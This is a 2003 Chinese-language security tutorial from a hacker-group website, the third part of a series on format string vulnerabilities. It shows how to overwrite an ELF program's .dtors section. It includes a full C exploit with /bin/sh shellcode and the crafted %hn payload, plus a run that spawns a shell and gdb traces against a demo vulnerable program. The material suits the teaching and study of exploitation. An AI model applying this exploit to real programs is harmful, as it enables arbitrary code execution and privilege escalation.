快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- **安全技术** <=
- 业界动态

本类热门
- 如何利用黑客技术跟踪并分析一名目标人物
- 有关无线安全与黑客的话题
- 让我们回归(by 默难)
- 通用ShellCode深入剖析[转]
- Format String 漏洞介绍/总结(一)
- 结合实例解读ELF文件-阅读笔记(1)

Format String 漏洞介绍/总结(三)

提交文章： bkbll
提交日期： 2003-07-28
文章属性： 原创
文档类别： 安全技术
浏览次数： 今2次/总1250次

Format String 漏洞介绍/总结(三)
Bkbll(bkbll@cnhonker.net)
2003-3-9
4. 覆盖.dtors 段地址。
用gcc编译出来的elf文件都包含有两个段：.ctors .dtors, 如果没有指定strip用-R项去掉的话，一般strip后的程序都含有这个段：
[bkbll@mobile fmtxp_lib]$ strip x1
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors x1

x1: file format elf32-i386

Contents of section .dtors:
8049800 ffffffff 00000000 ....
[bkbll@mobile fmtxp_lib]$ strip -R .dtors x1
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors x1
x1: file format elf32-i386
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors /bin/su
/bin/su: file format elf32-i386
Contents of section .dtors:
804d23c ffffffff 00000000 ....
.ctors段里面有一个函数地址，那么这个函数将会在运行main函数前运行。而.dtors段则相反，是程序结束前要运行的函数（main后）.通过format string的write -anywhere特性，我们可以覆盖这个段的地址，把我们shellcode的地址写进去，这样当程序正常结束后，就会执行我们的shellcode指令，更多有关.dtors段内容请查阅相关文档。
我们来利用我们刚才的vuln程序来实验一下，由于format string构造字符串结构都差不多，所以我们只需要修改一下want_write_addr就可以了，pad和shellcode地址还可以用刚才的值。
首先，我们需要得到程序的.dtors段地址为多少：
[bkbll@mobile fmtxp_lib]$ objdump -s -j .dtors vuln

vuln: file format elf32-i386

Contents of section .dtors:
8049618 ffffffff 00000000 ....
[bkbll@mobile fmtxp_lib]$
那么，我们需要覆盖的是0x8049618+4=0x804961c的地址
[bkbll@mobile fmtxp_lib]$ cat x2.c
/* write to .dtors addr
* objdump -s -j .dtors vuln
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>

```
#include <stdlib.h>
#include <strings.h>

#define want_write_addr 0x804961c /* .dtors存放函数地址的地址 */
#define pad 12
#define straddr 0xbffff690
char shellcode[]=
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
"\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
"/bin/sh";
/*主体函数不变 */
main()
{

int high_ret,low_ret;
char buffer[1024];
int j=0;
int shell_addr_pad=0x50;
int rea_high_ret,rea_low_ret;
int print_acc;
memset(buffer,0x90,1024);
buffer[1023]=0;

high_ret=((straddr+shell_addr_pad) >> 16) & 0xffff;
low_ret=(straddr+shell_addr_pad) & 0xffff;
if(high_ret == low_ret) exit(0);
rea_high_ret=high_ret;
rea_low_ret=low_ret;
if(high_ret < low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;}
print_acc=rea_high_ret - rea_low_ret;
fprintf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad);
//j=sprintf(buffer,"%s",want_write_addr);
buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr >> 8 ) & 0xff;
buffer[2]=(want_write_addr >> 16 ) & 0xff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & 0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;

j=8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-
j,pad+1,print_acc,pad);
buffer[j]=0x90;
sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}
printf("%s\n",buffer);

}
```

来看一下运行结果：

```
[bkbll@mobile fmtxp_lib]$ gcc -o x2 x2.c
[bkbll@mobile fmtxp_lib]$ ./x2 >2
use shell addr:0xbffff6e0
[bkbll@mobile fmtxp_lib]$./vuln 2
蜾)繞蜾柁           /bin/sh
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
```

成功了。我们来跟踪一下：

```
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) x/i foo
0x80484c4 <foo>: push %ebp
(gdb) b *0x80484c4
Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
(gdb) r 2
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 2

Breakpoint 1, foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:30
30 {
```

```
(gdb) x/3wx 0x8049618
0x8049618 <__DTOR_LIST__>: 0xffffffff 0x00000000 0x00000000
(gdb) disass foo
Dump of assembler code for function foo:
0x80484c4 <foo>: push %ebp
0x80484c5 <foo+1>: mov %esp,%ebp
0x80484c7 <foo+3>: sub $0x8,%esp
0x80484ca <foo+6>: sub $0xc,%esp
0x80484cd <foo+9>: pushl 0x8(%ebp)
0x80484d0 <foo+12>: call 0x8048350 <printf>
0x80484d5 <foo+17>: add $0x10,%esp
0x80484d8 <foo+20>: leave
0x80484d9 <foo+21>: ret
End of assembler dump.
(gdb) b *0x80484d5
Breakpoint 2 at 0x80484d5: file vuln.c, line 31.
(gdb) c
蛎)繞蛎柁          /bin/sh

Breakpoint 2, 0x080484d5 in foo (
line=0xbffff690 "\034\226\004\b\036\226\004\b%49143p%13$hn%14049p%12$hn", '\220'
<repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) x/3wx 0x8049618
0x8049618 <__DTOR_LIST__>: 0xffffffff 0xbffff6e0 0x00000000
我门已经成功的把shellcode地址写进了.dtors段
(gdb) x/i 0xbffff6e0
0xbffff6e0: nop /*我们的指令*/
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
已经开始执行我们的shellcode了。
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net